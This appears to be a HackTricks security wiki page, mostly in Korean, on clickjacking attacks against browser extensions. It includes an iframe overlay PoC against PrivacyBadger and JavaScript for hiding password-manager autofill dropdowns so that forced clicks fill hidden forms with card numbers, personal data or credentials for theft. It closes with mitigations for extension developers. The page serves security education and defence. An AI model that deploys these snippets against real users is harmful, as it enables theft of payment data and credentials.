BrowExt - ClickJacking

Reading time: 8 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

이 페이지는 브라우저 확장(Extension)의 ClickJacking 취약점을 악용하는 방법을 다룹니다.
ClickJacking이 무엇인지 모른다면 다음을 확인하세요:

Clickjacking

확장(extensions)은 manifest.json 파일을 포함하며, 해당 JSON 파일에는 web_accessible_resources라는 필드가 있습니다. 다음은 the Chrome docs에서 이에 대해 설명한 내용입니다:

이러한 리소스들은 웹페이지에서 chrome-extension://[PACKAGE ID]/[PATH] 형태의 URL을 통해 접근 가능하며, 이는 extension.getURL method 로 생성할 수 있습니다. 허용 목록에 등재된 리소스는 적절한 CORS 헤더와 함께 제공되므로 XHR과 같은 메커니즘을 통해 이용할 수 있습니다.1

브라우저 확장 내의 web_accessible_resources 는 단순히 웹을 통해 접근 가능한 것만이 아니라 확장의 고유 권한으로 동작합니다. 이는 다음과 같은 동작이 가능함을 의미합니다:

  • 확장의 상태 변경
  • 추가 리소스 로드
  • 브라우저와 어느 정도 상호작용

하지만 이 기능은 보안 위험을 초래합니다. 만약 web_accessible_resources 내부의 리소스가 중요한 기능을 포함하고 있다면, 공격자는 해당 리소스를 외부 웹페이지에 임베드할 수 있습니다. 사용자가 해당 페이지를 방문했을 때 무심코 이 임베디드 리소스를 활성화하면, 확장의 권한과 기능에 따라 의도치 않은 결과가 발생할 수 있습니다.

PrivacyBadger 예제

PrivacyBadger 확장에서는 skin/ 디렉터리가 다음과 같이 web_accessible_resources로 선언된 것과 관련된 취약점이 확인되었습니다 (Check the original blog post):

json
"web_accessible_resources": [
"skin/*",
"icons/*"
]

이 구성은 잠재적인 보안 문제를 초래했습니다. 구체적으로, 브라우저의 PrivacyBadger 아이콘과 상호작용할 때 렌더되는 skin/popup.html 파일이 iframe 안에 포함될 수 있었습니다. 이 포함은 사용자를 속여 의도치 않게 "Disable PrivacyBadger for this Website"를 클릭하도록 유도하는 데 악용될 수 있었습니다. 이러한 조치는 PrivacyBadger 보호를 비활성화하여 사용자의 프라이버시를 위협하고 추적이 증가할 가능성이 있습니다. 이 공격의 시각적 데모는 ClickJacking 비디오 예제에서 확인할 수 있습니다: https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.

이 취약점을 해결하기 위해 단순한 해결책을 적용했습니다: web_accessible_resources 목록에서 /skin/*을 제거했습니다. 이 변경으로 skin/ 디렉터리의 콘텐츠가 웹 접근 가능한 리소스를 통해 접근되거나 조작되지 않도록 보장하여 위험을 효과적으로 완화했습니다.

수정은 간단했습니다: web_accessible_resources에서 /skin/*을 제거.

PoC

html
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>

<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>

<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamask Example

A metamask의 ClickJacking에 대한 블로그 게시물은 여기에서 확인할 수 있습니다. In this case, Metamask fixed the vulnerability by checking that the protocol used to access it was https: or http: (not chrome: for example):

Metamask 확장 프로그램에서 수정된 또 다른 ClickJacking 사례는 사용자가 “web_accessible_resources”: [“inpage.js”, “phishing.html”] 때문에 페이지가 phishing으로 의심될 때 Click to whitelist할 수 있었다는 것입니다. 그 페이지가 Clickjacking에 취약했기 때문에, 공격자는 피해자가 눈치채지 못하게 정상적인 것을 보여주어 Click to whitelist를 클릭하게 유도한 뒤 다시 phishing 페이지로 돌아가 해당 페이지가 whitelist되도록 악용할 수 있었습니다.

Steam Inventory Helper Example

다음 페이지에서 브라우저 확장 프로그램의 XSS가 어떻게 ClickJacking 취약점과 연쇄되었는지 확인하세요:

BrowExt - XSS Example


DOM-based Extension Clickjacking (Password Manager Autofill UIs)

고전적인 확장 프로그램 clickjacking은 잘못 구성된 web_accessible_resources를 악용해 권한 있는 HTML을 iframe으로 로드하고 사용자 클릭을 유도합니다. 새로운 유형인 DOM-based extension clickjacking은 password managers가 페이지 DOM에 직접 주입하는 autofill dropdowns을 표적으로 삼아, 그것을 클릭 가능 상태로 유지하면서 숨기거나 가려버리는 CSS/DOM 트릭을 사용합니다. 한 번의 강제 클릭으로 저장된 항목을 선택하고 민감한 데이터를 공격자가 제어하는 입력 필드에 채워 넣을 수 있습니다.

Threat model

  • Attacker controls a webpage (or achieves XSS/subdomain takeover/cache poisoning on a related domain).
  • 피해자는 password manager 확장 프로그램을 설치하고 잠금 해제한 상태입니다(명목상 잠겨 있어도 일부 autofill이 동작할 수 있음).
  • 최소 하나의 사용자 클릭이 유도됩니다(오버레이된 쿠키 배너, 대화상자, CAPTCHAs, 게임 등).

Attack flow (manual autofill)

  1. 보이지 않지만 포커스가 가능한 form 삽입 (login/PII/credit-card 필드).
  2. 입력 필드에 포커스를 줘서 확장 기능의 autofill dropdown을 해당 필드 근처에 불러옵니다.
  3. 확장 UI를 숨기거나 가리되 상호작용 가능 상태는 유지합니다.
  4. 숨겨진 dropdown 아래에 그럴듯한 컨트롤을 정렬하여 항목 선택을 유도하는 클릭을 강제합니다.
  5. 공격자 폼에서 채워진 값을 읽어내어 유출합니다.

How to hide the autofill UI

  • Extension element
  • Root element opacity (generic):
js
// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
  • open ShadowRoot 내부의 자식 요소 (동적 태그, 내부 iframe 숨기기):
js
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
.find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
const frame = root.shadowRoot.querySelector('iframe')
if (frame) frame.style.cssText += 'opacity:0 !important;'
}
  • 부모 요소
  • BODY/HTML opacity 기법으로 페이지가 정상적으로 보이는 동안 extension UI를 보이지 않게 만들기 (예: 스크린샷 배경):
js
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'

// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'

function getCardValues() {
const num = document.getElementById('cardnumber').value
const exp = document.getElementById('expiry').value
const cvc = document.getElementById('cvc').value
// exfiltrate via XHR/fetch/websocket
}
  • 오버레이
  • 부분 오버레이: 드롭다운이 클릭 가능하도록 몇 픽셀만 보이게 하고 나머지를 가린다 (공격자 오버레이가 DOM에서 마지막 요소이며 최대 z-index인지 확인하거나 Top Layer를 사용).
  • pointer-events:none을 사용한 전체 오버레이로 클릭이 숨겨진 드롭다운으로 통과하게 한다; Popover API로 지속적으로 유지:
html
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
overlay.showPopover()
// Inject a personal data form and focus to trigger dropdown
/* create #personalform with #name/#email/#phone/... */
document.getElementById('name').focus()
function getData(){ /* read + exfil values on change */ }
</script>

피해자 클릭 위치 지정

  • Fixed placement: 숨겨진 드롭다운을 신뢰할 만한 컨트롤(예: “쿠키 수락”, “닫기” 또는 CAPTCHA 체크박스) 아래에 고정 배치합니다.
  • Follow-mouse: 포커스된 입력 요소를 커서 아래로 이동시켜 드롭다운이 커서를 따라오게 하고; 주기적으로 포커스를 재설정하여 어디를 클릭해도 단일 클릭으로 항목이 선택되게 합니다:
js
const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
// some managers hide the dropdown if focus is lost; refocus slowly
setTimeout(() => f.focus(), 100)
})

영향 및 시나리오

  • Attacker-controlled site: 한 번의 강제 클릭으로 도메인에 국한되지 않는 신용카드 정보(번호/유효기간/CVC)와 개인 정보(이름, 이메일, 전화번호, 주소, DOB)를 유출할 수 있습니다.
  • Trusted site with XSS/subdomain takeover/cache poisoning: 다중 클릭으로 자격증명(username/password)과 TOTP를 탈취할 수 있습니다. 많은 매니저가 관련 하위 도메인/상위 도메인(예: *.example.com)에 걸쳐 autofill을 수행하기 때문입니다.
  • Passkeys: RP가 WebAuthn 챌린지를 세션에 바인딩하지 않으면 XSS가 서명된 assertion을 가로챌 수 있습니다; DOM-based clickjacking은 passkey 프롬프트를 숨겨 사용자의 확인 클릭을 유도합니다.

제한 사항

  • 최소한 하나의 사용자 클릭과 적절한 픽셀 정렬이 필요합니다(현실적인 오버레이는 클릭 유도를 쉽게 만듭니다).
  • 자동 잠금/로그아웃은 악용 시간을 줄입니다; 일부 매니저는 “locked” 상태에서도 여전히 autofill을 수행합니다.

Extension developer mitigations

  • Render autofill UI in the Top Layer (Popover API) or otherwise ensure it sits above page stacking; avoid being covered by page-controlled overlays.
  • Resist CSS tampering: prefer Closed Shadow DOM and monitor with MutationObserver for suspicious style changes on UI roots.
  • Detect hostile overlays before filling: enumerate other top-layer/popover elements, temporarily disable pointer-events:none, and use elementsFromPoint() to detect occlusion; close UI if overlays exist.
  • Detect suspicious <body>/<html> opacity or style changes both pre- and post-render.
  • For iframe-based issues: scope MV3 web_accessible_resources matches narrowly and avoid exposing HTML UIs; for unavoidable HTML, serve X-Frame-Options: DENY or Content-Security-Policy: frame-ancestors 'none'.

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기